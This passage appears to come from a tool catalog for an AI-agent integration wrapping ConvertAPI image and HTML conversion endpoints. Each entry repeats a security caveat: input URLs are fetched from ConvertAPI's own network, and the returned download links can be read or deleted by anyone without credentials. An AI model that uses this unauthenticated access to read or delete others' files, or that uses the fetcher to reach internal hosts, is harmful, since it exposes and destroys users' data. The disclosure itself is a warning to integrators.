downstream tools lack alpha support. Ideal for processing pipelines, testing, and archival workflows that require lightweight, uncompressed files with consistent characteristics. The input may be a URL, which ConvertAPI fetches ITSELF from its own network -- so the fetch carries no Agentic Fabriq credential and reaches whatever ConvertAPI can reach. Agentic Fabriq refuses non-https URLs, URLs carrying userinfo, and private or loopback addresses; that is hygiene, not a boundary. THE OUTPUT IS A PUBLIC URL. The `Url` this returns is ConvertAPI's /d/{fileId} address, and that endpoint authenticates NOTHING (measured 2026-09-24: HEAD, GET and DELETE on a real id all answer 200 with no credential, from every one of ConvertAPI's seven regional hosts). Anyone who obtains the link can read -- or delete -- the converted file for the three hours ConvertAPI keeps it. Do not convert anything whose contents must not be world-readable. Spends conversion credits from the connected account (`ConversionCost` in the reply says how many); check the balance with 'Get account information'. Conversions are given a fixed 25-second budget server-side; a document large enough to need longer cannot be converted through this integration. POST /api/v1/convertapi/convert/gif/to/pnm. Scopes: api. convertapi_post_convert_gif_to_svg (write) — GIF to SVG Conversion API via POST /convert/gif/to/svg. Convert GIF images into precise, scalable SVG vectors. Tune color mode and palette size, layering strategy, curve fitting, corner threshold, segment length, speckle filtering, and gradient steps to balance quality and size. Optionally set output width/height for consistent results. Ideal for icons, UI assets, and vectorizing raster art. The input may be a URL, which ConvertAPI fetches ITSELF from its own network -- so the fetch carries no Agentic Fabriq credential and reaches whatever ConvertAPI can reach. Agentic Fabriq refuses non-https URLs, URLs carrying userinfo, and private or loopback addresses; that is hygiene, not a boundary. THE OUTPUT IS A PUBLIC URL. The `Url` this returns is ConvertAPI's /d/{fileId} address, and that endpoint authenticates NOTHING (measured 2026-09-24: HEAD, GET and DELETE on a real id all answer 200 with no credential, from every one of ConvertAPI's seven regional hosts). Anyone who obtains the link can read -- or delete -- the converted file for the three hours ConvertAPI keeps it. Do not convert anything whose contents must not be world-readable. Spends conversion credits from the connected account (`ConversionCost` in the reply says how many); check the balance with 'Get account information'. Conversions are given a fixed 25-second budget server-side; a document large enough to need longer cannot be converted through this integration. POST /api/v1/convertapi/convert/gif/to/svg. Scopes: api. convertapi_post_convert_gif_to_tiff (write) — GIF to TIFF Conversion API via POST /convert/gif/to/tiff. Convert GIF images to robust TIFF format suitable for long-term archiving, print workflows, and interoperability. Choose single- or multi-page output to consolidate sequences, adjust color space for device consistency, and fine-tune quality for the target use case. Set resolution (DPI), scaling behavior, and explicit width/height to meet layout or storage constraints. Ideal for records retention, pre-press pipelines, and systems that require lossless or high-fidelity raster output with predictable characteristics. The input may be a URL, which ConvertAPI fetches ITSELF from its own network -- so the fetch carries no Agentic Fabriq credential and reaches whatever ConvertAPI can reach. Agentic Fabriq refuses non-https URLs, URLs carrying userinfo, and private or loopback addresses; that is hygiene, not a boundary. THE OUTPUT IS A PUBLIC URL. The `Url` this returns is ConvertAPI's /d/{fileId} address, and that endpoint authenticates NOTHING (measured 2026-09-24: HEAD, GET and DELETE on a real id all answer 200 with no credential, from every one of ConvertAPI's seven regional hosts). Anyone who obtains the link can read -- or delete -- the converted file for the three hours ConvertAPI keeps it. Do not convert anything whose contents must not be world-readable. Spends conversion credits from the connected account (`ConversionCost` in the reply says how many); check the balance with 'Get account information'. Conversions are given a fixed 25-second budget server-side; a document large enough to need longer cannot be converted through this integration. POST /api/v1/convertapi/convert/gif/to/tiff. Scopes: api. convertapi_post_convert_gif_to_webp (write) — GIF to WebP Conversion API via POST /convert/gif/to/webp. Convert GIF images to modern WebP for smaller file sizes at excellent visual quality. Set resolution (DPI), choose scaling behavior, and define explicit width/height so outputs match UI layouts or storage constraints. Select lossless or lossy compression and adjust the quality factor to balance clarity and size, and choose an appropriate color space for consistent rendering across platforms. Ideal for web and mobile delivery, batch optimization pipelines, and CDN workflows where small, visually faithful images are desired. The input may be a URL, which ConvertAPI fetches ITSELF from its own network -- so the fetch carries no Agentic Fabriq credential and reaches whatever ConvertAPI can reach. Agentic Fabriq refuses non-https URLs, URLs carrying userinfo, and private or loopback addresses; that is hygiene, not a boundary. THE OUTPUT IS A PUBLIC URL. The `Url` this returns is ConvertAPI's /d/{fileId} address, and that endpoint authenticates NOTHING (measured 2026-09-24: HEAD, GET and DELETE on a real id all answer 200 with no credential, from every one of ConvertAPI's seven regional hosts). Anyone who obtains the link can read -- or delete -- the converted file for the three hours ConvertAPI keeps it. Do not convert anything whose contents must not be world-readable. Spends conversion credits from the connected account (`ConversionCost` in the reply says how many); check the balance with 'Get account information'. Conversions are given a fixed 25-second budget server-side; a document large enough to need longer cannot be converted through this integration. POST /api/v1/convertapi/convert/gif/to/webp. Scopes: api. convertapi_post_convert_heic_to_jpg (write) — HEIC to JPG Conversion API via POST /convert/heic/to/jpg. Convert HEIC images to JPG while handling alpha channels that JPEG does not support. Replace transparent regions with a specified background color to preserve intended appearance over light or dark themes. Control output with general image parameters: set resolution (DPI), scaling behavior, and exact width/height for consistent layout; choose color space for device consistency; and tune JPEG quality to balance clarity and file size. Ideal for preparation of assets for web, mobile, emails, and systems that require opaque raster images and predictable rendering. The input may be a URL, which ConvertAPI fetches ITSELF from its own network -- so the fetch carries no Agentic Fabriq credential and reaches whatever ConvertAPI can reach. Agentic Fabriq refuses non-https URLs, URLs carrying userinfo, and private or loopback addresses; that is hygiene, not a boundary. THE OUTPUT IS A PUBLIC URL. The `Url` this returns is ConvertAPI's /d/{fileId} address, and that endpoint authenticates NOTHING (measured 2026-09-24: HEAD, GET and DELETE on a real id all answer 200 with no credential, from every one of ConvertAPI's seven regional hosts). Anyone who obtains the link can read -- or delete -- the converted file for the three hours ConvertAPI keeps it. Do not convert anything whose contents must not be world-readable. Spends conversion credits from the connected account (`ConversionCost` in the reply says how many); check the balance with 'Get account information'. Conversions are given a fixed 25-second budget server-side; a document large enough to need longer cannot be converted through this integration. POST /api/v1/convertapi/convert/heic/to/jpg. Scopes: api. convertapi_post_convert_heic_to_jxl (write) — HEIC to JXL Conversion API via POST /convert/heic/to/jxl. Convert HEIC images to modern JPEG XL (JXL) for smaller file sizes and excellent visual quality. Fine-tune color space, quality, resolution, scaling behavior, interpolation, and output dimensions. Great for optimizing mobile photo libraries and web delivery while keeping high fidelity. The input may be a URL, which ConvertAPI fetches ITSELF from its own network -- so the fetch carries no Agentic Fabriq credential and reaches whatever ConvertAPI can reach. Agentic Fabriq refuses non-https URLs, URLs carrying userinfo, and private or loopback addresses; that is hygiene, not a boundary. THE OUTPUT IS A PUBLIC URL. The `Url` this returns is ConvertAPI's /d/{fileId} address, and that endpoint authenticates NOTHING (measured 2026-09-24: HEAD, GET and DELETE on a real id all answer 200 with no credential, from every one of ConvertAPI's seven regional hosts). Anyone who obtains the link can read -- or delete -- the converted file for the three hours ConvertAPI keeps it. Do not convert anything whose contents must not be world-readable. Spends conversion credits from the connected account (`ConversionCost` in the reply says how many); check the balance with 'Get account information'. Conversions are given a fixed 25-second budget server-side; a document large enough to need longer cannot be converted through this integration. POST /api/v1/convertapi/convert/heic/to/jxl. Scopes: api. convertapi_post_convert_heic_to_pdf (write) — HEIC to PDF Conversion API via POST /convert/heic/to/pdf. Convert HEIC photos to PDF for convenient sharing, printing, and archival. Control page size and orientation, configure horizontal and vertical margins, and rotate content to match layout expectations. Set color handling and apply an ICC color profile for predictable rendering across devices and workflows. Enable PDF/A compliance when long-term preservation is required. Ideal for digitization pipelines, records management, and distributing raster graphics as portable documents. The input may be a URL, which ConvertAPI fetches ITSELF from its own network -- so the fetch carries no Agentic Fabriq credential and reaches whatever ConvertAPI can reach. Agentic Fabriq refuses non-https URLs, URLs carrying userinfo, and private or loopback addresses; that is hygiene, not a boundary. THE OUTPUT IS A PUBLIC URL. The `Url` this returns is ConvertAPI's /d/{fileId} address, and that endpoint authenticates NOTHING (measured 2026-09-24: HEAD, GET and DELETE on a real id all answer 200 with no credential, from every one of ConvertAPI's seven regional hosts). Anyone who obtains the link can read -- or delete -- the converted file for the three hours ConvertAPI keeps it. Do not convert anything whose contents must not be world-readable. Spends conversion credits from the connected account (`ConversionCost` in the reply says how many); check the balance with 'Get account information'. Conversions are given a fixed 25-second budget server-side; a document large enough to need longer cannot be converted through this integration. POST /api/v1/convertapi/convert/heic/to/pdf. Scopes: api. convertapi_post_convert_heic_to_png (write) — HEIC to PNG Conversion API via POST /convert/heic/to/png. Convert HEIC photos to widely supported PNG format for web, mobile, and application use. Use general image controls to adjust resolution (DPI), choose scaling behavior, and specify explicit width/height to achieve consistent output across varied inputs. Map a specific color to transparency when needed to preserve foreground elements over UI backgrounds, and set color space for predictable rendering across devices. Ideal for preparing images for distribution or display where lossless compression and alpha transparency are beneficial. The input may be a URL, which ConvertAPI fetches ITSELF from its own network -- so the fetch carries no Agentic Fabriq credential and reaches whatever ConvertAPI can reach. Agentic Fabriq refuses non-https URLs, URLs carrying userinfo, and private or loopback addresses; that is hygiene, not a boundary. THE OUTPUT IS A PUBLIC URL. The `Url` this returns is ConvertAPI's /d/{fileId} address, and that endpoint authenticates NOTHING (measured 2026-09-24: HEAD, GET and DELETE on a real id all answer 200 with no credential, from every one of ConvertAPI's seven regional hosts). Anyone who obtains the link can read -- or delete -- the converted file for the three hours ConvertAPI keeps it. Do not convert anything whose contents must not be world-readable. Spends conversion credits from the connected account (`ConversionCost` in the reply says how many); check the balance with 'Get account information'. Conversions are given a fixed 25-second budget server-side; a document large enough to need longer cannot be converted through this integration. POST /api/v1/convertapi/convert/heic/to/png. Scopes: api. convertapi_post_convert_heic_to_pnm (write) — HEIC to PNM Conversion API via POST /convert/heic/to/pnm. Convert HEIC photos to Portable Any Map (PNM) formats for simple, interoperable raster output (PBM/PGM/PPM). Use general image controls to set resolution (DPI), select scaling behavior, and define exact width/height for predictable results across inputs. Choose grayscale or RGB output as appropriate, and map transparent regions to a specified background color when downstream tools lack alpha support. Ideal for processing pipelines, testing, and archival workflows that require lightweight, uncompressed files with consistent characteristics. The input may be a URL, which ConvertAPI fetches ITSELF from its own network -- so the fetch carries no Agentic Fabriq credential and reaches whatever ConvertAPI can reach. Agentic Fabriq refuses non-https URLs, URLs carrying userinfo, and private or loopback addresses; that is hygiene, not a boundary. THE OUTPUT IS A PUBLIC URL. The `Url` this returns is ConvertAPI's /d/{fileId} address, and that endpoint authenticates NOTHING (measured 2026-09-24: HEAD, GET and DELETE on a real id all answer 200 with no credential, from every one of ConvertAPI's seven regional hosts). Anyone who obtains the link can read -- or delete -- the converted file for the three hours ConvertAPI keeps it. Do not convert anything whose contents must not be world-readable. Spends conversion credits from the connected account (`ConversionCost` in the reply says how many); check the balance with 'Get account information'. Conversions are given a fixed 25-second budget server-side; a document large enough to need longer cannot be converted through this integration. POST /api/v1/convertapi/convert/heic/to/pnm. Scopes: api. convertapi_post_convert_heic_to_svg (write) — HEIC to SVG Conversion API via POST /convert/heic/to/svg. Convert HEIC photos to SVG for easy embedding in documents and workflows while preserving crisp rendering. Rasterize with precise control: set resolution (DPI), choose scaling behavior, and define exact width/height to match design systems or storage constraints. Select an appropriate color space for predictable cross-device rendering and adjust quality settings to balance visual fidelity with small file sizes. Ideal for automation pipelines, previews, and distribution where SVG containers provide compatibility and consistent characteristics. The input may be a URL, which ConvertAPI fetches ITSELF from its own network -- so the fetch carries no Agentic Fabriq credential and reaches whatever ConvertAPI can reach. Agentic Fabriq refuses non-https URLs, URLs carrying userinfo, and private or loopback addresses; that is hygiene, not a boundary. THE OUTPUT IS A PUBLIC URL. The `Url` this returns is ConvertAPI's /d/{fileId} address, and that endpoint authenticates NOTHING (measured 2026-09-24: HEAD, GET and DELETE on a real id all answer 200 with no credential, from every one of ConvertAPI's seven regional hosts). Anyone who obtains the link can read -- or delete -- the converted file for the three hours ConvertAPI keeps it. Do not convert anything whose contents must not be world-readable. Spends conversion credits from the connected account (`ConversionCost` in the reply says how many); check the balance with 'Get account information'. Conversions are given a fixed 25-second budget server-side; a document large enough to need longer cannot be converted through this integration. POST /api/v1/convertapi/convert/heic/to/svg. Scopes: api. convertapi_post_convert_heic_to_tiff (write) — HEIC to TIFF Conversion API via POST /convert/heic/to/tiff. Convert HEIC photos to robust TIFF format suitable for long-term archiving, print workflows, and interoperability. Choose single- or multi-page output to consolidate sequences, adjust color space for device consistency, and fine-tune quality for the target use case. Set resolution (DPI), scaling behavior, and explicit width/height to meet layout or storage constraints. Ideal for records retention, pre-press pipelines, and systems that require lossless or high-fidelity raster output. The input may be a URL, which ConvertAPI fetches ITSELF from its own network -- so the fetch carries no Agentic Fabriq credential and reaches whatever ConvertAPI can reach. Agentic Fabriq refuses non-https URLs, URLs carrying userinfo, and private or loopback addresses; that is hygiene, not a boundary. THE OUTPUT IS A PUBLIC URL. The `Url` this returns is ConvertAPI's /d/{fileId} address, and that endpoint authenticates NOTHING (measured 2026-09-24: HEAD, GET and DELETE on a real id all answer 200 with no credential, from every one of ConvertAPI's seven regional hosts). Anyone who obtains the link can read -- or delete -- the converted file for the three hours ConvertAPI keeps it. Do not convert anything whose contents must not be world-readable. Spends conversion credits from the connected account (`ConversionCost` in the reply says how many); check the balance with 'Get account information'. Conversions are given a fixed 25-second budget server-side; a document large enough to need longer cannot be converted through this integration. POST /api/v1/convertapi/convert/heic/to/tiff. Scopes: api. convertapi_post_convert_heic_to_webp (write) — HEIC to WebP Conversion API via POST /convert/heic/to/webp. Convert HEIC photos to modern WebP for smaller file sizes at excellent visual quality. Set resolution (DPI), choose scaling behavior, and define explicit width/height so outputs fit your UI or storage constraints. Select lossless or lossy compression and adjust the quality factor to balance clarity and size, and choose an appropriate color space for consistent rendering across platforms. Ideal for web and mobile delivery, batch optimization pipelines, and CDN workflows where small, visually faithful images are desired. The input may be a URL, which ConvertAPI fetches ITSELF from its own network -- so the fetch carries no Agentic Fabriq credential and reaches whatever ConvertAPI can reach. Agentic Fabriq refuses non-https URLs, URLs carrying userinfo, and private or loopback addresses; that is hygiene, not a boundary. THE OUTPUT IS A PUBLIC URL. The `Url` this returns is ConvertAPI's /d/{fileId} address, and that endpoint authenticates NOTHING (measured 2026-09-24: HEAD, GET and DELETE on a real id all answer 200 with no credential, from every one of ConvertAPI's seven regional hosts). Anyone who obtains the link can read -- or delete -- the converted file for the three hours ConvertAPI keeps it. Do not convert anything whose contents must not be world-readable. Spends conversion credits from the connected account (`ConversionCost` in the reply says how many); check the balance with 'Get account information'. Conversions are given a fixed 25-second budget server-side; a document large enough to need longer cannot be converted through this integration. POST /api/v1/convertapi/convert/heic/to/webp. Scopes: api. convertapi_post_convert_heif_to_jpg (write) — HEIF to JPG Conversion API via POST /convert/heif/to/jpg. Convert HEIF images to JPG while handling alpha channels that JPEG does not support. Replace transparent regions with a specified background color to preserve intended appearance over light or dark themes. Control output with general image parameters: set resolution (DPI), scaling behavior, and exact width/height for consistent layout; choose color space for device consistency; and tune JPEG quality to balance clarity and file size. Ideal for preparation of assets for web, mobile, emails, and systems that require opaque raster images and predictable rendering. The input may be a URL, which ConvertAPI fetches ITSELF from its own network -- so the fetch carries no Agentic Fabriq credential and reaches whatever ConvertAPI can reach. Agentic Fabriq refuses non-https URLs, URLs carrying userinfo, and private or loopback addresses; that is hygiene, not a boundary. THE OUTPUT IS A PUBLIC URL. The `Url` this returns is ConvertAPI's /d/{fileId} address, and that endpoint authenticates NOTHING (measured 2026-09-24: HEAD, GET and DELETE on a real id all answer 200 with no credential, from every one of ConvertAPI's seven regional hosts). Anyone who obtains the link can read -- or delete -- the converted file for the three hours ConvertAPI keeps it. Do not convert anything whose contents must not be world-readable. Spends conversion credits from the connected account (`ConversionCost` in the reply says how many); check the balance with 'Get account information'. Conversions are given a fixed 25-second budget server-side; a document large enough to need longer cannot be converted through this integration. POST /api/v1/convertapi/convert/heif/to/jpg. Scopes: api. convertapi_post_convert_heif_to_pdf (write) — HEIF to PDF Conversion API via POST /convert/heif/to/pdf. Convert HEIF photos to PDF for convenient sharing, printing, and archival. Control page size and orientation, configure horizontal and vertical margins, and rotate content to match layout expectations. Set color handling and apply an ICC color profile for predictable rendering across devices and workflows. Enable PDF/A compliance when long-term preservation is required. Ideal for digitization pipelines, records management, and distributing raster graphics as portable documents. The input may be a URL, which ConvertAPI fetches ITSELF from its own network -- so the fetch carries no Agentic Fabriq credential and reaches whatever ConvertAPI can reach. Agentic Fabriq refuses non-https URLs, URLs carrying userinfo, and private or loopback addresses; that is hygiene, not a boundary. THE OUTPUT IS A PUBLIC URL. The `Url` this returns is ConvertAPI's /d/{fileId} address, and that endpoint authenticates NOTHING (measured 2026-09-24: HEAD, GET and DELETE on a real id all answer 200 with no credential, from every one of ConvertAPI's seven regional hosts). Anyone who obtains the link can read -- or delete -- the converted file for the three hours ConvertAPI keeps it. Do not convert anything whose contents must not be world-readable. Spends conversion credits from the connected account (`ConversionCost` in the reply says how many); check the balance with 'Get account information'. Conversions are given a fixed 25-second budget server-side; a document large enough to need longer cannot be converted through this integration. POST /api/v1/convertapi/convert/heif/to/pdf. Scopes: api. convertapi_post_convert_html_to_docx (write) — HTML to DOCX Conversion API via POST /convert/html/to/docx. Convert HTML content to editable Microsoft Word (DOCX) while preserving text, images, tables, lists, and hyperlinks. Produce clean, well-structured documents suitable for editing, review, and archiving without manual copy-paste. Ideal for transforming web pages, generated reports, and exported content into word-processor-friendly files for downstream workflows and collaboration. The input may be a URL, which ConvertAPI fetches ITSELF from its own network -- so the fetch carries no Agentic Fabriq credential and reaches whatever ConvertAPI can reach. Agentic Fabriq refuses non-https URLs, URLs carrying userinfo, and private or loopback addresses; that is hygiene, not a boundary. THE OUTPUT IS A PUBLIC URL. The `Url` this returns is ConvertAPI's /d/{fileId} address, and that endpoint authenticates NOTHING (measured 2026-09-24: HEAD, GET and DELETE on a real id all answer 200 with no credential, from every one of ConvertAPI's seven regional hosts). Anyone who obtains the link can read -- or delete -- the converted file for the three hours ConvertAPI keeps it. Do not convert anything whose contents must not be world-readable. Spends conversion credits from the connected account (`ConversionCost` in the reply says how many); check the balance with 'Get account information'. Conversions are given a fixed 25-second budget server-side; a document large enough to need longer cannot be converted through this integration. POST /api/v1/convertapi/convert/html/to/docx. Scopes: api. convertapi_post_convert_html_to_jpg (write) — HTML to JPG Conversion API via POST /convert/html/to/jpg. Convert HTML/HTM files to JPG screenshots using a modern headless browser renderer. Send an HTML file with the File parameter, or capture any live web page with the Url parameter and it renders straight from its origin with all images, styles, and scripts. Control image width/height, JPEG quality, zoom level, and crop by CSS selector or coordinates for pixel-accurate results. Customize page loading with timeouts, delays, and wait-for-element; run page JavaScript; inject custom CSS/JS; block ads and cookie banners; hide elements; and set headers, cookies, and basic auth. Ideal for thumbnails, previews, reports, and archiving consistent page renders. The input may be a URL, which ConvertAPI fetches ITSELF from its own network -- so the fetch carries no Agentic Fabriq credential and reaches whatever ConvertAPI can reach. Agentic Fabriq refuses non-https URLs, URLs carrying userinfo, and private or loopback addresses; that is hygiene, not a boundary. THE OUTPUT IS A PUBLIC URL. The `Url` this returns is ConvertAPI's /d/{fileId} address, and that endpoint authenticates NOTHING (measured 2026-09-24: HEAD, GET and DELETE on a real id all answer 200 with no credential, from every one of ConvertAPI's seven regional hosts). Anyone who obtains the link can read -- or delete -- the converted file for the three hours ConvertAPI keeps it. Do not convert anything whose contents must not be world-readable. Spends conversion credits from the connected account (`ConversionCost` in the reply says how many); check the balance with 'Get account information'. Conversions are given a fixed 25-second budget server-side; a document large enough to need longer cannot be converted through this integration. POST /api/v1/convertapi/convert/html/to/jpg. Scopes: api. convertapi_post_convert_html_to_md (write) — HTML to Markdown Conversion API via POST /convert/html/to/md. Convert HTML and HTM pages into clean, readable Markdown (.md) through a fast, reliable API. Document structure is preserved: headings, lists, links, code blocks, and tables where possible. Great for documentation pipelines, wikis, CMS imports, version controlled content, and preparing web content for LLM and RAG pipelines. The conversion is tunable: produce GitHub flavored Markdown, remove comments, choose the list bullet character, and decide how unsupported tags are handled: passed through, dropped, or bypassed keeping their content. Scripts, stylesheets and other markup that carries no readable text is always removed first, so the result stays free of noise. The Images parameter decides... The input may be a URL, which ConvertAPI fetches ITSELF from its own network -- so the fetch carries no Agentic Fabriq credential and reaches whatever ConvertAPI can reach. Agentic Fabriq refuses non-https URLs, URLs carrying userinfo, and private or loopback addresses; that is hygiene, not a boundary. THE OUTPUT IS A PUBLIC URL. The `Url` this returns is ConvertAPI's /d/{fileId} address, and that endpoint authenticates NOTHING (measured 2026-09-24: HEAD, GET and DELETE on a real id all answer 200 with no credential, from every one of ConvertAPI's seven regional hosts). Anyone who obtains the link can read -- or delete -- the converted file for the three hours ConvertAPI keeps it. Do not convert anything whose contents must not be world-readable. Spends conversion credits from the connected account (`ConversionCost` in the reply says how many); check the balance with 'Get account information'. Conversions are given a fixed 25-second budget server-side; a document large enough to need longer cannot be converted through this integration. POST /api/v1/convertapi/convert/html/to/md. Scopes: api. convertapi_post_convert_html_to_pdf (write) — HTML to PDF API via POST /convert/html/to/pdf. Easily convert HTML to PDF with a developer-friendly API built for speed and flexibility. Send an HTML file with the File parameter, or pass any live web page with the Url parameter and it renders straight from its origin with all images, styles, and scripts. Render pages exactly as they appear in the browser including HTML5, CSS3, JavaScript, responsive designs, and SPAs. Handle high volumes or real-time jobs with ease. Customize output by injecting your own JS or CSS, enabling AdBlock, hiding cookie banners, and more. Ideal for any workflow needing a reliable HTML to PDF microservice or REST API. The input may be a URL, which ConvertAPI fetches ITSELF from its own network -- so the fetch carries no Agentic Fabriq credential and reaches whatever ConvertAPI can reach. Agentic Fabriq refuses non-https URLs, URLs carrying userinfo, and private or loopback addresses; that is hygiene, not a boundary. THE OUTPUT IS A PUBLIC URL. The `Url` this returns is ConvertAPI's /d/{fileId} address, and that endpoint authenticates NOTHING (measured 2026-09-24: HEAD, GET and DELETE on a real id all answer 200 with no credential, from every one of ConvertAPI's seven regional hosts). Anyone who obtains the link can read -- or delete -- the converted file for the three hours ConvertAPI keeps it. Do not convert anything whose contents must not be world-readable. Spends conversion credits from the connected account (`ConversionCost` in the reply says how many); check the balance with 'Get account information'. Conversions are given a fixed 25-second budget server-side; a document large enough to need longer cannot be converted through this integration. POST /api/v1/convertapi/convert/html/to/pdf. Scopes: api. convertapi_post_convert_html_to_png (write) — HTML to PNG Conversion API via POST /convert/html/to/png. Convert HTML/HTM files to PNG screenshots using a modern headless browser renderer. Send an HTML file with the File parameter, or capture any live web page with the Url parameter and it renders straight from its origin with all images, styles, and scripts. Control output width/height, zoom level, and crop by CSS selector or coordinates; optionally use a transparent background for overlays. Customize loading with timeouts, delays, and wait-for-element; run page JavaScript; inject custom CSS/JS; block ads and cookie banners; hide elements; and set headers, cookies, and basic auth. Great for crisp, lossless thumbnails, previews, and documentation. The input may be a URL, which ConvertAPI fetches ITSELF from its own network -- so the fetch carries no Agentic Fabriq credential and reaches whatever ConvertAPI can reach. Agentic Fabriq refuses non-https URLs, URLs carrying userinfo, and private or loopback addresses; that is hygiene, not a boundary. THE OUTPUT IS A PUBLIC URL. The `Url` this returns is ConvertAPI's /d/{fileId} address, and that endpoint authenticates NOTHING (measured 2026-09-24: HEAD, GET and DELETE on a real id all answer 200 with no credential, from every one of ConvertAPI's seven regional hosts). Anyone who obtains the link can read -- or delete -- the converted file for the three hours ConvertAPI keeps it. Do not convert anything whose contents must not be world-readable. Spends conversion credits from the connected account (`ConversionCost` in the reply says how many); check the balance with 'Get account information'. Conversions are given a fixed 25-second budget server-side; a document large enough to need longer cannot be converted through this integration. POST /api/v1/convertapi/convert/html/to/png. Scopes: api. convertapi_post_convert_html_to_txt (write) — HTML to TXT Conversion API via POST /convert/html/to/txt. Extract UTF-8 plain text from HTML/HTM files using a modern headless renderer. Send an HTML file with the File parameter, or extract text from any live web page with the Url parameter. Execute page JavaScript and wait for a CSS selector to ensure dynamic content is ready. Optionally limit extraction to specific elements, inject custom CSS/JS, hide elements, and block ads or cookie consent banners. Send custom headers and cookies or use basic auth for gated pages. Ideal for search indexing, content pipelines, and analytics. The input may be a URL, which ConvertAPI fetches ITSELF from its own network -- so the fetch carries no Agentic Fabriq credential and reaches whatever ConvertAPI can reach. Agentic Fabriq refuses non-https URLs, URLs carrying userinfo, and private or loopback addresses; that is hygiene, not a boundary. THE OUTPUT IS A PUBLIC URL. The `Url` this returns is ConvertAPI's /d/{fileId} address, and that endpoint authenticates NOTHING (measured 2026-09-24: HEAD, GET and DELETE on a real id all answer 200 with no credential, from every one of ConvertAPI's seven regional hosts). Anyone who obtains the link can read -- or delete -- the converted file for the three hours ConvertAPI keeps it. Do not convert anything whose contents must not be world-readable. Spends conversion credits from the connected account (`ConversionCost` in the reply says how many); check the balance with 'Get account information'. Conversions are given a fixed 25-second budget server-side; a document large enough to need longer cannot be converted through this integration. POST /api/v1/convertapi/convert/html/to/txt. Scopes: api. convertapi_post_convert_html_to_xls (write) — HTML to XLS Conversion API via POST /convert/html/to/xls. Convert HTML pages and tables to Excel XLS workbooks for data analysis and reporting. Automatically extracts tabular data from HTML content and converts it into structured spreadsheet format. Preserves table structure, data, and basic formatting. Ideal for web scraping results, HTML reports, data extraction pipelines, and converting web-based tables into analyzable spreadsheets for business intelligence and analytics. The input may be a URL, which ConvertAPI fetches ITSELF from its own network -- so the fetch carries no Agentic Fabriq credential and reaches whatever ConvertAPI can reach. Agentic Fabriq refuses non-https URLs, URLs carrying userinfo, and private or loopback addresses; that is hygiene, not a boundary. THE OUTPUT IS A PUBLIC URL. The `Url` this returns is ConvertAPI's /d/{fileId} address, and that endpoint authenticates NOTHING (measured 2026-09-24: HEAD, GET and DELETE on a real id all answer 200 with no credential, from every one of ConvertAPI's seven regional hosts). Anyone who obtains the link can read -- or delete -- the converted file for the three hours ConvertAPI keeps it. Do not convert anything whose contents must not be world-readable. Spends conversion credits from the connected account (`ConversionCost` in the reply says how many); check the balance with 'Get account information'. Conversions are given a fixed 25-second budget server-side; a document large enough to need longer cannot be converted through this integration. POST /api/v1/convertapi/convert/html/to/xls. Scopes: api. convertapi_post_convert_html_to_xlsx (write) — HTML to XLSX Conversion API via POST /convert/html/to/xlsx. Convert HTML pages and tables to modern Excel XLSX workbooks for data analysis and reporting. Automatically extracts tabular data from HTML content and converts it into structured spreadsheet format with XML-based XLSX for better compatibility. Preserves table structure, data, and basic formatting. Ideal for web scraping results, HTML reports, data extraction pipelines, and converting web-based tables into analyzable spreadsheets for business intelligence and analytics. The input may be a URL, which ConvertAPI fetches ITSELF from its own network -- so the fetch carries no Agentic Fabriq credential and reaches whatever ConvertAPI can reach. Agentic Fabriq refuses non-https URLs, URLs carrying userinfo, and private or loopback addresses; that is hygiene, not a boundary. THE OUTPUT IS A PUBLIC URL. The `Url` this returns is ConvertAPI's /d/{fileId} address, and that endpoint authenticates NOTHING (measured 2026-09-24: HEAD, GET and DELETE on a real id all answer 200 with no credential, from every one of ConvertAPI's seven regional hosts). Anyone who obtains the link can read -- or delete -- the converted file for the three hours ConvertAPI keeps it. Do not convert anything whose contents must not be world-readable. Spends conversion credits from the connected account (`ConversionCost` in the reply says how many); check the balance with 'Get account information'. Conversions are given a fixed 25-second budget server-side; a document large enough to need longer cannot be converted through this integration. POST /api/v1/convertapi/convert/html/to/xlsx. Scopes: api. convertapi_post_convert_ico_to_jpg (write) — ICO to JPG Conversion API via POST /convert/ico/to/jpg. Convert ICO icon files to JPG, handling transparency that JPEG does not support by replacing it with a specified background color. Use general image parameters to set resolution (DPI), scaling behavior, and explicit width/height for consistent display across platforms. Choose color space for predictable rendering and adjust JPEG quality to balance clarity and file size. Ideal for preparing favicons and UI assets for environments that require opaque JPG images with uniform backgrounds. The input may be a URL, which ConvertAPI fetches ITSELF from its own network -- so the fetch carries no Agentic Fabriq credential and reaches whatever ConvertAPI can reach. Agentic Fabriq refuses non-https URLs, URLs carrying userinfo, and private or loopback addresses; that is hygiene, not a boundary. THE OUTPUT IS A PUBLIC URL. The `Url` this returns is ConvertAPI's /d/{fileId} address, and that endpoint authenticates NOTHING (measured 2026-09-24: HEAD, GET and DELETE on a real id all answer 200 with no credential, from every one of ConvertAPI's seven regional hosts). Anyone who obtains the link can read -- or delete -- the converted file for the three hours ConvertAPI keeps it. Do not convert anything whose contents must not be world-readable. Spends conversion credits from the connected account (`ConversionCost` in the reply says how many); check the balance with 'Get account information'. Conversions are given a fixed 25-second budget server-side; a document large enough to need longer cannot be converted through this integration. POST /api/v1/convertapi/convert/ico/to/jpg. Scopes: api. convertapi_post_convert_ico_to_pdf (write) — ICO to PDF Conversion API via POST /convert/ico/to/pdf. Convert ICO icon files to PDF for convenient sharing, printing, and archival. Control page size and orientation, configure horizontal and vertical margins, and rotate content to match layout expectations. Set color handling and apply an ICC color profile for predictable rendering across devices and workflows. Enable PDF/A compliance when long-term preservation is required. Ideal for UI asset packaging, records management, and distributing icons as portable documents. The input may be a URL, which ConvertAPI fetches ITSELF from its own network -- so the fetch carries no Agentic Fabriq credential and reaches whatever ConvertAPI can reach. Agentic Fabriq refuses non-https URLs, URLs carrying userinfo, and private or loopback addresses; that is hygiene, not a boundary. THE OUTPUT IS A PUBLIC URL. The `Url` this returns is ConvertAPI's /d/{fileId} address, and that endpoint authenticates NOTHING (measured 2026-09-24: HEAD, GET and DELETE on a real id all answer 200 with no credential, from every one of ConvertAPI's seven regional hosts). Anyone who obtains the link can read -- or delete -- the converted file for the three hours ConvertAPI keeps it. Do not convert anything whose contents must not be world-readable. Spends conversion credits from the connected account (`ConversionCost` in the reply says how many); check the balance with 'Get account information'. Conversions are given a fixed 25-second budget server-side; a document large enough to need longer cannot be converted through this integration. POST /api/v1/convertapi/convert/ico/to/pdf. Scopes: api. convertapi_post_convert_ico_to_png (write) — ICO to PNG Conversion API via POST /convert/ico/to/png. Convert ICO icon files to widely supported PNG format for web, mobile, and application use. Use general image controls to adjust resolution (DPI), choose scaling behavior, and specify explicit width/height to achieve consistent results across varied inputs. Map a specific color to transparency 